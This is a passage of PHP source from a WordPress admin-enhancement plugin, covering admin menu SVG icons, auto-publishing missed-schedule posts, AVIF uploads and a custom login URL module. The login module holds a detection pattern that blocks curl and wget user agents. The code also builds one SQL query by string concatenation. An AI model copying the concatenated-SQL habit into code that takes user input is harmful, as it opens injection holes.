* @since 7.6.0
|
||||
*
|
||||
* @param string $menu_slug Menu slug passed to add_menu_page().
|
||||
* @param string $svg_data_uri SVG data URI.
|
||||
* @return void
|
||||
*/
|
||||
public static function register_toplevel_menu_slug_svg_icon( $menu_slug, $svg_data_uri ) {
|
||||
$menu_slug = (string) $menu_slug;
|
||||
$svg_data_uri = trim( (string) $svg_data_uri );
|
||||
|
||||
if ( '' === $menu_slug || '' === $svg_data_uri ) {
|
||||
return;
|
||||
}
|
||||
|
||||
if ( ! self::is_svg_data_uri( $svg_data_uri ) ) {
|
||||
return;
|
||||
}
|
||||
|
||||
self::$toplevel_menu_slug_svgs[ $menu_slug ] = $svg_data_uri;
|
||||
}
|
||||
|
||||
/**
|
||||
* Register an SVG icon for a menu entry by matching a substring within the anchor href.
|
||||
*
|
||||
* @since 7.6.0
|
||||
*
|
||||
* @param string $needle Substring expected in href.
|
||||
* @param string $svg_data_uri SVG data URI.
|
||||
* @return void
|
||||
*/
|
||||
public static function register_menu_href_contains_svg_icon( $needle, $svg_data_uri ) {
|
||||
$needle = trim( (string) $needle );
|
||||
$svg_data_uri = trim( (string) $svg_data_uri );
|
||||
|
||||
if ( '' === $needle || '' === $svg_data_uri ) {
|
||||
return;
|
||||
}
|
||||
|
||||
if ( ! self::is_svg_data_uri( $svg_data_uri ) ) {
|
||||
return;
|
||||
}
|
||||
|
||||
self::$href_contains_svgs[ $needle ] = $svg_data_uri;
|
||||
}
|
||||
|
||||
/**
|
||||
* Enqueue inline CSS masks for all registered menu SVG icons.
|
||||
*
|
||||
* @since 7.6.0
|
||||
*
|
||||
* @return void
|
||||
*/
|
||||
public static function enqueue_mask_css() {
|
||||
if ( empty( self::$post_type_svgs ) && empty( self::$toplevel_menu_slug_svgs ) && empty( self::$href_contains_svgs ) ) {
|
||||
return;
|
||||
}
|
||||
|
||||
$css = '';
|
||||
|
||||
foreach ( self::$post_type_svgs as $post_type => $svg_data_uri ) {
|
||||
$post_type = sanitize_key( (string) $post_type );
|
||||
$svg_data_uri = trim( (string) $svg_data_uri );
|
||||
|
||||
if ( '' === $post_type || '' === $svg_data_uri || ! self::is_svg_data_uri( $svg_data_uri ) ) {
|
||||
continue;
|
||||
}
|
||||
|
||||
$selector = '#adminmenu .menu-icon-' . $post_type . ' .wp-menu-image:before';
|
||||
$css .= self::build_mask_rule( $selector, $svg_data_uri );
|
||||
}
|
||||
|
||||
foreach ( self::$toplevel_menu_slug_svgs as $menu_slug => $svg_data_uri ) {
|
||||
$menu_slug = (string) $menu_slug;
|
||||
$svg_data_uri = trim( (string) $svg_data_uri );
|
||||
|
||||
if ( '' === $menu_slug || '' === $svg_data_uri || ! self::is_svg_data_uri( $svg_data_uri ) ) {
|
||||
continue;
|
||||
}
|
||||
|
||||
$selectors = array(
|
||||
'#toplevel_page_' . sanitize_title( $menu_slug ) . ' .wp-menu-image:before',
|
||||
'#adminmenu a[href*="' . self::escape_css_attr_value( $menu_slug ) . '"] .wp-menu-image:before',
|
||||
);
|
||||
$css .= self::build_mask_rule( implode( ',' . PHP_EOL, $selectors ), $svg_data_uri );
|
||||
}
|
||||
|
||||
foreach ( self::$href_contains_svgs as $needle => $svg_data_uri ) {
|
||||
$needle = trim( (string) $needle );
|
||||
$svg_data_uri = trim( (string) $svg_data_uri );
|
||||
|
||||
if ( '' === $needle || '' === $svg_data_uri || ! self::is_svg_data_uri( $svg_data_uri ) ) {
|
||||
continue;
|
||||
}
|
||||
|
||||
$selector = '#adminmenu a[href*="' . self::escape_css_attr_value( $needle ) . '"] .wp-menu-image:before';
|
||||
$css .= self::build_mask_rule( $selector, $svg_data_uri );
|
||||
}
|
||||
|
||||
if ( '' === $css ) {
|
||||
return;
|
||||
}
|
||||
|
||||
wp_add_inline_style( 'asenha-wp-admin', $css );
|
||||
}
|
||||
|
||||
/**
|
||||
* Build a CSS rule that masks a WP admin menu icon pseudo-element.
|
||||
*
|
||||
* @since 7.6.0
|
||||
*
|
||||
* @param string $selector CSS selector(s).
|
||||
* @param string $svg_data_uri SVG data URI.
|
||||
* @return string
|
||||
*/
|
||||
private static function build_mask_rule( $selector, $svg_data_uri ) {
|
||||
$selector = trim( (string) $selector );
|
||||
$svg_data_uri = trim( (string) $svg_data_uri );
|
||||
|
||||
if ( '' === $selector || '' === $svg_data_uri ) {
|
||||
return '';
|
||||
}
|
||||
|
||||
return $selector . '{' . PHP_EOL .
|
||||
"\tcontent:\"\";" . PHP_EOL .
|
||||
"\tbackground-color:currentColor;" . PHP_EOL .
|
||||
"\t-webkit-mask-image:url(\"" . $svg_data_uri . "\");" . PHP_EOL .
|
||||
"\tmask-image:url(\"" . $svg_data_uri . "\");" . PHP_EOL .
|
||||
"\t-webkit-mask-repeat:no-repeat;" . PHP_EOL .
|
||||
"\tmask-repeat:no-repeat;" . PHP_EOL .
|
||||
"\t-webkit-mask-position:center;" . PHP_EOL .
|
||||
"\tmask-position:center;" . PHP_EOL .
|
||||
"\t-webkit-mask-size:20px 20px;" . PHP_EOL .
|
||||
"\tmask-size:20px 20px;" . PHP_EOL .
|
||||
'}' . PHP_EOL;
|
||||
}
|
||||
|
||||
/**
|
||||
* Escape a value used inside a double-quoted CSS attribute selector.
|
||||
*
|
||||
* @since 7.6.0
|
||||
*
|
||||
* @param string $value Raw value.
|
||||
* @return string
|
||||
*/
|
||||
private static function escape_css_attr_value( $value ) {
|
||||
return str_replace(
|
||||
array( '\\', '"' ),
|
||||
array( '\\\\', '\"' ),
|
||||
(string) $value
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+71
@@ -0,0 +1,71 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for Auto-Publishing of Posts with Missed Schedules module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Auto_Publish_Posts_With_Missed_Schedule {
|
||||
|
||||
/**
|
||||
* Publish posts of any type with missed schedule.
|
||||
* We use the Transients API to reduce straining the site with DB queries on busy sites.
|
||||
* So, this function will only query the DB once every 15 minutes at most.
|
||||
*
|
||||
* @since 3.1.0
|
||||
*/
|
||||
public function publish_missed_schedule_posts() {
|
||||
|
||||
if ( is_front_page() || is_home() || is_page() || is_single() || is_singular() || is_archive() || is_admin() || is_blog_admin() || is_robots() || is_ssl() ) {
|
||||
|
||||
// Get missed schedule posts data from cache
|
||||
$missed_schedule_posts = get_transient( 'asenha_missed_schedule_posts' );
|
||||
|
||||
// Nothing found in cache
|
||||
if ( false === $missed_schedule_posts ) {
|
||||
|
||||
global $wpdb;
|
||||
|
||||
$current_gmt_datetime = gmdate( 'Y-m-d H:i:00' );
|
||||
|
||||
$args = array(
|
||||
'public' => true,
|
||||
'_builtin' => false, // not post, page, attachment, revision or nav_menu_item
|
||||
);
|
||||
|
||||
$custom_post_types = get_post_types( $args, 'names' ); // array, e.g. array( 'project', 'book', 'staff' )
|
||||
|
||||
if ( count( $custom_post_types ) > 0 ) {
|
||||
$custom_post_types = "'" . implode( "','", $custom_post_types ) . "'"; // string, e.g. 'project','book','staff'
|
||||
$post_types = "'page','post'," . $custom_post_types; // 'page','post','project','book','staff'
|
||||
} else {
|
||||
$post_types = "'page','post'";
|
||||
}
|
||||
|
||||
$sql = "SELECT ID FROM $wpdb->posts WHERE post_type IN ($post_types) AND post_status='future' AND post_date_gmt<'$current_gmt_datetime'";
|
||||
|
||||
// The following does not work as backslashes are inserted before single quotes in $post_types
|
||||
// $sql = $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_type IN (%s) AND post_status='future' AND post_date_gmt<'%s'", array( $post_types, $current_gmt_datetime ) );
|
||||
|
||||
$missed_schedule_posts = $wpdb->get_results( $sql, ARRAY_A );
|
||||
|
||||
// Save query results as a transient with expiry of 15 minutes
|
||||
set_transient( 'asenha_missed_schedule_posts', $missed_schedule_posts, 15 * MINUTE_IN_SECONDS );
|
||||
|
||||
}
|
||||
|
||||
if ( empty( $missed_schedule_posts ) || ! is_array( $missed_schedule_posts ) ) {
|
||||
return;
|
||||
}
|
||||
|
||||
foreach( $missed_schedule_posts as $post ) {
|
||||
wp_publish_post( $post['ID'] );
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,236 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for AVIF Upload module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class AVIF_Upload {
|
||||
|
||||
/**
|
||||
* Add AVIF mime type to list of mime types
|
||||
*
|
||||
* @since 5.7.0
|
||||
*/
|
||||
public function add_avif_mime_type( $wp_get_mime_types ) {
|
||||
|
||||
$wp_get_mime_types['avif'] = 'image/avif';
|
||||
return $wp_get_mime_types;
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Add AVIF mime type to allowed mime types
|
||||
*
|
||||
* @since 5.7.0
|
||||
*/
|
||||
public function allow_avif_mime_type_upload( $mimes ) {
|
||||
|
||||
$mimes['avif'] = 'image/avif';
|
||||
return $mimes;
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Add AVIF to mapping of mime types to their respective extensions
|
||||
*
|
||||
* @since 5.7.0
|
||||
*/
|
||||
public function add_avif_mime_type_to_exts( $mime_to_ext ) {
|
||||
|
||||
$mime_to_ext['image/avif'] = 'avif';
|
||||
return $mime_to_ext;
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Add correct dimension for AVIF images
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/avif-support/trunk/includes/AvifSupport.php#L104
|
||||
* @since 5.7.0
|
||||
*/
|
||||
public function add_avif_image_dimension( $metadata, $attachment_id, $context ) {
|
||||
|
||||
if ( empty( $metadata ) ) {
|
||||
return $metadata;
|
||||
}
|
||||
|
||||
$attachment_post = get_post( $attachment_id );
|
||||
|
||||
if ( ! $attachment_post || is_wp_error( $attachment_post ) ) {
|
||||
return $metadata;
|
||||
}
|
||||
|
||||
if ( 'image/avif' !== $attachment_post->post_mime_type ) {
|
||||
return $metadata;
|
||||
}
|
||||
|
||||
// Fix width and height
|
||||
|
||||
if (
|
||||
( ! empty( $metadata['width'] )
|
||||
&& ( 0 !== $metadata['width'] ) )
|
||||
&& ( ! empty( $metadata['height'] )
|
||||
&& 0 !== $metadata['height'] )
|
||||
) {
|
||||
return $metadata;
|
||||
}
|
||||
|
||||
$file = get_attached_file( $attachment_id );
|
||||
|
||||
if ( ! $file ) {
|
||||
return $metadata;
|
||||
}
|
||||
|
||||
if ( empty( $metadata['width'] ) ) {
|
||||
$metadata['width'] = 0;
|
||||
}
|
||||
|
||||
if ( empty( $metadata['height'] ) ) {
|
||||
$metadata['height'] = 0;
|
||||
}
|
||||
|
||||
if ( empty( $metadata['file'] ) ) {
|
||||
$metadata['file'] = _wp_relative_upload_path( $file );
|
||||
}
|
||||
|
||||
if ( empty( $metadata['sizes'] ) ) {
|
||||
$metadata['sizes'] = array();
|
||||
}
|
||||
|
||||
$img_size = wp_getimagesize( $file );
|
||||
|
||||
// Legacy PHP Version, return false, fake it till manual.
|
||||
if ( empty( $img_size ) ) {
|
||||
$img_size = array(
|
||||
0 => 0,
|
||||
1 => 0,
|
||||
2 => 19,
|
||||
3 => 'width="0" height="0"',
|
||||
'mime' => 'image/avif',
|
||||
);
|
||||
}
|
||||
|
||||
if ( is_array( $img_size ) && ( 0 !== $img_size[0] ) && ( 0 !== $img_size[1] ) ) {
|
||||
// Do nothing, we have what we need
|
||||
} else {
|
||||
|
||||
// Manually get width and height
|
||||
$binary_string = file_get_contents( $file );
|
||||
$ispe_pos = strpos( $binary_string, 'ispe' );
|
||||
|
||||
if ( false === $ispe_pos ) {
|
||||
// Corrupted Image.
|
||||
return false;
|
||||
}
|
||||
|
||||
$dim_start_pos = $ispe_pos + 8;
|
||||
$dim_bin = substr( $binary_string, $dim_start_pos, 8 );
|
||||
$width = hexdec( bin2hex( substr( $dim_bin, 0, 4 ) ) );
|
||||
$height = hexdec( bin2hex( substr( $dim_bin, 4, 8 ) ) );
|
||||
|
||||
if ( $width && $height && is_numeric( $width ) && is_numeric( $height ) ) {
|
||||
$img_size[0] = absint( $width );
|
||||
$img_size[1] = absint( $height );
|
||||
}
|
||||
|
||||
// wp_getimagesize() failed, try with Imagick
|
||||
// if ( extension_loaded( 'imagick' ) && class_exists( 'Imagick' ) ) {
|
||||
// try {
|
||||
// $imagick = new \Imagick( $file );
|
||||
// $img_dim = $imagick->getImageGeometry();
|
||||
// $img_size[0] = $img_dim['width'];
|
||||
// $img_size[1] = $img_dim['height'];
|
||||
|
||||
// $imagick->clear();
|
||||
// } catch ( \Exception $e ) {
|
||||
// // Do nothing for now.
|
||||
// }
|
||||
// }
|
||||
|
||||
}
|
||||
|
||||
if ( ! $img_size ) {
|
||||
$avif_specs = false;
|
||||
} else {
|
||||
$file_size = filesize( $file );
|
||||
$avif_specs = array(
|
||||
'width' => $img_size[0],
|
||||
'height' => $img_size[1],
|
||||
'mime' => $img_size['mime'],
|
||||
'dimension' => $img_size[0] . 'x' . $img_size[1],
|
||||
'ext' => str_replace( 'image/', '', $img_size['mime'] ),
|
||||
'size' => $file_size,
|
||||
'size_format' => size_format( $file_size ),
|
||||
);
|
||||
}
|
||||
|
||||
if ( is_wp_error( $avif_specs ) || ! $avif_specs ) {
|
||||
return $metadata;
|
||||
}
|
||||
|
||||
$metadata['width'] = $avif_specs['width'];
|
||||
$metadata['height'] = $avif_specs['height'];
|
||||
|
||||
return $metadata;
|
||||
|
||||
// Fix scaled version of the image
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Make sure AVIF files are displayable in the browser
|
||||
*
|
||||
* @since 5.7.0
|
||||
*/
|
||||
public function make_avif_displayable( $result, $path ) {
|
||||
if ( str_ends_with( $path, '.avif' ) ) {
|
||||
return true;
|
||||
}
|
||||
|
||||
return $result;
|
||||
}
|
||||
|
||||
/**
|
||||
* Handle rare scenarios where exif and fileinfo fail to detect AVIF
|
||||
*
|
||||
* @since 5.7.0
|
||||
*/
|
||||
public function handle_exif_and_fileinfo_fail( $wp_check_filetype_and_ext, $file, $filename, $mimes, $real_mime ) {
|
||||
|
||||
// AVIF is properly handled, no need to do anything else
|
||||
if ( $wp_check_filetype_and_ext['ext'] && $wp_check_filetype_and_ext['type'] ) {
|
||||
return $wp_check_filetype_and_ext;
|
||||
}
|
||||
|
||||
// Not an .avif file, no need to do anything else
|
||||
if ( ! str_ends_with( $filename, '.avif' ) ) {
|
||||
return $wp_check_filetype_and_ext;
|
||||
} else {
|
||||
$binary_string = file_get_contents( $file );
|
||||
$ispe_pos = strpos( $binary_string, 'ispe' );
|
||||
|
||||
if ( false === $ispe_pos ) {
|
||||
// Corrupted Image.
|
||||
return false;
|
||||
}
|
||||
|
||||
$dim_start_pos = $ispe_pos + 8;
|
||||
$dim_bin = substr( $binary_string, $dim_start_pos, 8 );
|
||||
$width = hexdec( bin2hex( substr( $dim_bin, 0, 4 ) ) );
|
||||
$height = hexdec( bin2hex( substr( $dim_bin, 4, 8 ) ) );
|
||||
|
||||
// If this is a valid image with proper width and height, set filetype and ext to AVIF
|
||||
if ( $width && $height && is_numeric( $width ) && is_numeric( $height ) ) {
|
||||
$wp_check_filetype_and_ext['type'] = 'image/avif';
|
||||
$wp_check_filetype_and_ext['ext'] = 'avif';
|
||||
}
|
||||
|
||||
return $wp_check_filetype_and_ext;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for Redirect After Login module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class CAPTCHA_Protection {
|
||||
|
||||
/**
|
||||
* Maybe keep original redirect
|
||||
*
|
||||
* @since 7.8.0
|
||||
*/
|
||||
public function maybe_keep_original_redirect( $username, $user ) {
|
||||
// Skip redirection if login is performed from a WooCommerce checkout page
|
||||
// This will ensure user is redirected back to the checkout page after successful login
|
||||
if ( isset( $_REQUEST['woocommerce-login-nonce'] )
|
||||
&& isset( $_REQUEST['redirect'] )
|
||||
&& wc_get_checkout_url() == $_REQUEST['redirect']
|
||||
) {
|
||||
wp_safe_redirect( wc_get_checkout_url() );
|
||||
exit();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,446 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for Change Login URL module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Change_Login_URL {
|
||||
/**
|
||||
* Redirect to valid login URL when custom login slug is part of the request URL
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/admin-login-url-change/trunk/admin-login-url-change.php#L134
|
||||
* @since 1.4.0
|
||||
*/
|
||||
public function redirect_on_custom_login_url() {
|
||||
$options = get_option( ASENHA_SLUG_U );
|
||||
$custom_login_slug = $options['custom_login_slug'];
|
||||
$url_input = sanitize_text_field( $_SERVER['REQUEST_URI'] );
|
||||
// Make sure $url_input ends with /
|
||||
if ( false !== strpos( $url_input, $custom_login_slug ) ) {
|
||||
if ( substr( $url_input, -1 ) != '/' ) {
|
||||
$url_input = $url_input . '/';
|
||||
}
|
||||
}
|
||||
// If URL contains the custom login slug, redirect to the dashboard
|
||||
if ( false !== strpos( $url_input, '/' . $custom_login_slug . '/' ) ) {
|
||||
if ( is_user_logged_in() ) {
|
||||
if ( array_key_exists( 'redirect_after_login', $options ) && $options['redirect_after_login'] ) {
|
||||
$redirect_after_login = new Redirect_After_Login();
|
||||
$redirect_after_login_type = ( isset( $options['redirect_after_login_type'] ) ? $options['redirect_after_login_type'] : 'single_url' );
|
||||
// Does the user have roles data in array form?
|
||||
$user = wp_get_current_user();
|
||||
if ( isset( $user->roles ) && is_array( $user->roles ) ) {
|
||||
$current_user_roles = $user->roles;
|
||||
// sort by value in descending order, so roles with custom redirection enabled comes first
|
||||
}
|
||||
if ( 'single_url' == $redirect_after_login_type && array_key_exists( 'redirect_after_login_for', $options ) && !empty( $options['redirect_after_login_for'] ) ) {
|
||||
$redirect_after_login_to_slug_raw = ( isset( $options['redirect_after_login_to_slug'] ) ? $options['redirect_after_login_to_slug'] : '' );
|
||||
$relative_path = $redirect_after_login->get_redirect_relative_path( $redirect_after_login_to_slug_raw );
|
||||
$redirect_after_login_for = $options['redirect_after_login_for'];
|
||||
if ( isset( $redirect_after_login_for ) && count( $redirect_after_login_for ) > 0 ) {
|
||||
// Assemble single-dimensional array of roles for which custom URL redirection should happen
|
||||
$roles_for_custom_redirect = array();
|
||||
foreach ( $redirect_after_login_for as $role_slug => $custom_redirect ) {
|
||||
if ( $custom_redirect ) {
|
||||
$roles_for_custom_redirect[] = $role_slug;
|
||||
}
|
||||
}
|
||||
// Set custom redirect URL for roles set in the settings. Otherwise, leave redirect URL to the default, i.e. admin dashboard.
|
||||
foreach ( $current_user_roles as $role ) {
|
||||
if ( in_array( $role, $roles_for_custom_redirect ) ) {
|
||||
if ( isset( $_GET['action'] ) ) {
|
||||
// User Switching plugin
|
||||
if ( 'switch_to_user' == $_GET['action'] || 'switch_to_olduser' == $_GET['action'] ) {
|
||||
return;
|
||||
// This ensures user switching proceeds
|
||||
} else {
|
||||
wp_safe_redirect( home_url( $relative_path ) );
|
||||
exit;
|
||||
}
|
||||
} else {
|
||||
// Redirect to custom redirect slug
|
||||
wp_safe_redirect( home_url( $relative_path ) );
|
||||
exit;
|
||||
}
|
||||
} else {
|
||||
if ( isset( $_GET['action'] ) ) {
|
||||
// User Switching plugin
|
||||
if ( 'switch_to_user' == $_GET['action'] || 'switch_to_olduser' == $_GET['action'] ) {
|
||||
return;
|
||||
// This ensures user switching proceeds
|
||||
} else {
|
||||
// Redirect to dashboard
|
||||
wp_safe_redirect( get_admin_url() );
|
||||
exit;
|
||||
}
|
||||
} else {
|
||||
// Redirect to dashboard
|
||||
wp_safe_redirect( get_admin_url() );
|
||||
exit;
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if ( isset( $_GET['action'] ) && ('switch_to_user' == $_GET['action'] || 'switch_to_olduser' == $_GET['action']) ) {
|
||||
return;
|
||||
// This ensures user switching proceeds
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if ( 'separate_urls' == $redirect_after_login_type && array_key_exists( 'redirect_after_login_for_separate_role', $options ) && !empty( $options['redirect_after_login_for_separate_role'] ) ) {
|
||||
// Redirect to dashboard
|
||||
wp_safe_redirect( get_admin_url() );
|
||||
} else {
|
||||
// Redirect to dashboard
|
||||
wp_safe_redirect( get_admin_url() );
|
||||
exit;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if ( isset( $_GET['action'] ) ) {
|
||||
// User Switching plugin
|
||||
if ( 'switch_to_user' == $_GET['action'] || 'switch_to_olduser' == $_GET['action'] ) {
|
||||
return;
|
||||
// This ensures user switching proceeds
|
||||
} else {
|
||||
// Redirect to dashboard
|
||||
wp_safe_redirect( get_admin_url() );
|
||||
exit;
|
||||
}
|
||||
} else {
|
||||
// Redirect to dashboard
|
||||
wp_safe_redirect( get_admin_url() );
|
||||
exit;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Redirect to the login URL with custom login slug in the query parameters
|
||||
wp_safe_redirect( site_url( '/wp-login.php?' . $custom_login_slug . '&redirect=false' ) );
|
||||
exit;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent redirect to custom login URL when Gravity Forms is active, and non-logged-in user opens a page with ?gf_page URL string
|
||||
*
|
||||
* @since 7.8.5
|
||||
*/
|
||||
public function prevent_redirect_to_custom_login_url() {
|
||||
$url_input = sanitize_text_field( $_SERVER['REQUEST_URI'] );
|
||||
$options = get_option( ASENHA_SLUG_U );
|
||||
$custom_login_slug = $options['custom_login_slug'];
|
||||
// Make sure $url_input ends with /
|
||||
if ( false !== strpos( $url_input, $custom_login_slug ) ) {
|
||||
if ( substr( $url_input, -1 ) != '/' ) {
|
||||
$url_input = $url_input . '/';
|
||||
}
|
||||
}
|
||||
if ( false === strpos( $url_input, '/' . $custom_login_slug . '/' ) && 'GET' === $_SERVER['REQUEST_METHOD'] && isset( $_GET['gf_page'] ) && !is_user_logged_in() && !wp_doing_ajax() ) {
|
||||
wp_safe_redirect( site_url() );
|
||||
exit;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Customize login URL returned when calling wp_login_url(). Add the custom login slug.
|
||||
*
|
||||
* @since 5.8.0
|
||||
*/
|
||||
public function customize_login_url( $login_url, $redirect, $force_reauth ) {
|
||||
$options = get_option( ASENHA_SLUG_U );
|
||||
$custom_login_slug = $options['custom_login_slug'];
|
||||
$login_url = home_url( '/' . $custom_login_slug . '/' );
|
||||
if ( !empty( $redirect ) ) {
|
||||
$login_url = add_query_arg( 'redirect_to', urlencode( $redirect ), $login_url );
|
||||
}
|
||||
if ( $force_reauth ) {
|
||||
$login_url = add_query_arg( 'reauth', '1', $login_url );
|
||||
}
|
||||
return $login_url;
|
||||
}
|
||||
|
||||
/**
|
||||
* Customize lost password URL. Add the custom login slug.
|
||||
*
|
||||
* @since 5.8.0
|
||||
*/
|
||||
public function customize_lost_password_url( $lostpassword_url ) {
|
||||
$options = get_option( ASENHA_SLUG_U );
|
||||
$custom_login_slug = $options['custom_login_slug'];
|
||||
// return home_url( '/wp-login.php?backend&action=lostpassword' );
|
||||
return $lostpassword_url . '&' . $custom_login_slug;
|
||||
}
|
||||
|
||||
/**
|
||||
* Customize registration URL. Add the custom login slug.
|
||||
*
|
||||
* @since 6.2.5
|
||||
*/
|
||||
public function customize_register_url( $registration_url ) {
|
||||
$options = get_option( ASENHA_SLUG_U );
|
||||
$custom_login_slug = $options['custom_login_slug'];
|
||||
// return home_url( '/wp-login.php?action=register&custom_login_slug' );
|
||||
return $registration_url . '&' . $custom_login_slug;
|
||||
}
|
||||
|
||||
/**
|
||||
* Redirect to /not_found when login URL does not contain the custom login slug
|
||||
* This will redirect /wp-login.php and /wp-admin/ to /not_found/
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/admin-login-url-change/trunk/admin-login-url-change.php#L121
|
||||
* @since 1.4.0
|
||||
*/
|
||||
public function redirect_on_default_login_urls() {
|
||||
global $interim_login;
|
||||
if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
|
||||
return;
|
||||
}
|
||||
if ( defined( 'DOING_CRON' ) && DOING_CRON ) {
|
||||
return;
|
||||
}
|
||||
$options = get_option( ASENHA_SLUG_U );
|
||||
$custom_login_slug = $options['custom_login_slug'];
|
||||
// e.g. backend
|
||||
$custom_login_whitelist_raw = ( isset( $options['custom_login_whitelist'] ) ? explode( PHP_EOL, $options['custom_login_whitelist'] ) : array() );
|
||||
$custom_login_whitelist = array();
|
||||
if ( !empty( $custom_login_whitelist_raw ) ) {
|
||||
foreach ( $custom_login_whitelist_raw as $path ) {
|
||||
$custom_login_whitelist[] = trim( $path );
|
||||
}
|
||||
}
|
||||
$url_input = sanitize_text_field( $_SERVER['REQUEST_URI'] );
|
||||
// e.g. /wp-admin/index.php?page=page-slug
|
||||
$url_input_parts = explode( '/', $url_input );
|
||||
$redirect_slug = 'not_found';
|
||||
if ( isset( $_POST['log'] ) && !empty( $_POST['log'] ) && isset( $_POST['pwd'] ) && !empty( $_POST['pwd'] ) ) {
|
||||
// When logging-in
|
||||
$http_referrer = ( isset( $_SERVER['HTTP_REFERER'] ) ? sanitize_url( $_SERVER['HTTP_REFERER'] ) : '' );
|
||||
$http_referrer_no_protocol = str_replace( array('https://', 'http://'), '', $http_referrer );
|
||||
$http_referrer_parts = explode( '/', $http_referrer_no_protocol );
|
||||
$http_user_agent = ( isset( $_SERVER['HTTP_USER_AGENT'] ) ? $_SERVER['HTTP_USER_AGENT'] : '' );
|
||||
if ( in_array( 'paid-memberships-pro/paid-memberships-pro.php', get_option( 'active_plugins', array() ) ) && isset( $_POST['pmpro_login_form_used'] ) && '1' == $_POST['pmpro_login_form_used'] ) {
|
||||
// Do nothing. i.e. do not redirect to /not_found/
|
||||
// This is a login attempt from Paid Membership Pro login form, which may include a modal/pop-up form.
|
||||
} elseif ( !empty( $http_referrer ) && false === strpos( $http_referrer, get_site_url() ) ) {
|
||||
// The referer URL does not contain the site's URL. This is an attempt to do a login POST from an external URL / illegitimate method. Let's redirect that.
|
||||
wp_safe_redirect( home_url( $redirect_slug . '/' ), 302 );
|
||||
exit;
|
||||
} elseif ( !empty( $http_user_agent ) && preg_match( '/^(curl|wget)/i', $http_user_agent ) ) {
|
||||
// The post request is coming from a cURL or Wget request, let's redirect that.
|
||||
wp_safe_redirect( home_url( $redirect_slug . '/' ), 302 );
|
||||
exit;
|
||||
} elseif ( empty( $http_referrer ) ) {
|
||||
// The login request does not have HTTP_REFERER info. e.g. coming from cURL but with a user agent set to a browser's.
|
||||
// Let's redirect that
|
||||
wp_safe_redirect( home_url( $redirect_slug . '/' ), 302 );
|
||||
exit;
|
||||
} elseif ( !empty( $http_referrer ) && false === strpos( $http_referrer, $custom_login_slug ) ) {
|
||||
// The referrer URL does not contain the custom login slug. Could be an attempt to login via cURL POST.
|
||||
if ( isset( $http_referrer_parts[1] ) && in_array( $http_referrer_parts[1], $custom_login_whitelist ) ) {
|
||||
// Do nothing. i.e. do not redirect to /not_found/ as this contains a URL keyword that's been exlucded from redirection
|
||||
} else {
|
||||
wp_safe_redirect( home_url( $redirect_slug . '/' ), 302 );
|
||||
exit;
|
||||
}
|
||||
} else {
|
||||
// Do nothing. i.e. do not redirect to /not_found/ as this contains a valin login POST request
|
||||
// upon successful login, redirection to logged-in view of /wp-admin/ happens.
|
||||
// Without this condition, login attempt will redirect to /not_found/
|
||||
}
|
||||
} elseif ( isset( $_POST['post_password'] ) && !empty( $_POST['post_password'] ) ) {
|
||||
// When entering password for a password-protected post/page
|
||||
// Do nothing. i.e. do not redirect to /not_found/
|
||||
} elseif ( is_user_logged_in() ) {
|
||||
// Do nothing user is already logged-in
|
||||
// Redirect to /wp-admin/ (Dashboard) when accessing /wp-login.php without any $_POST data
|
||||
if ( isset( $url_input_parts[1] ) && 'wp-login.php' == $url_input_parts[1] && empty( $_POST ) ) {
|
||||
wp_safe_redirect( admin_url(), 302 );
|
||||
exit;
|
||||
}
|
||||
} elseif ( !is_user_logged_in() ) {
|
||||
// Non-empty query on path ending in /wp-admin or /admin only (not e.g. /wp-admin/admin.php?...). Must be a single boolean so the next elseif is not skipped by a broad "any query" condition.
|
||||
$bare_wp_admin_or_admin_with_query = false;
|
||||
$bare_admin_request_query = wp_parse_url( $url_input, PHP_URL_QUERY );
|
||||
if ( is_string( $bare_admin_request_query ) && '' !== $bare_admin_request_query ) {
|
||||
$bare_admin_request_path = wp_parse_url( $url_input, PHP_URL_PATH );
|
||||
if ( is_string( $bare_admin_request_path ) && '' !== $bare_admin_request_path ) {
|
||||
$bare_admin_path_segments = array_values( array_filter( explode( '/', trim( $bare_admin_request_path, '/' ) ) ) );
|
||||
$bare_admin_last_segment = ( !empty( $bare_admin_path_segments ) ? end( $bare_admin_path_segments ) : '' );
|
||||
if ( 'wp-admin' === $bare_admin_last_segment || 'admin' === $bare_admin_last_segment ) {
|
||||
$bare_wp_admin_or_admin_with_query = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
// WHen trying to access /wp-signup.php without the ?custom_login_slug, redirect to the redriect_slug
|
||||
if ( isset( $url_input_parts[1] ) && 'wp-signup.php' == $url_input_parts[1] && false === strpos( $url_input, $custom_login_slug ) ) {
|
||||
// Redirect to /not_found/
|
||||
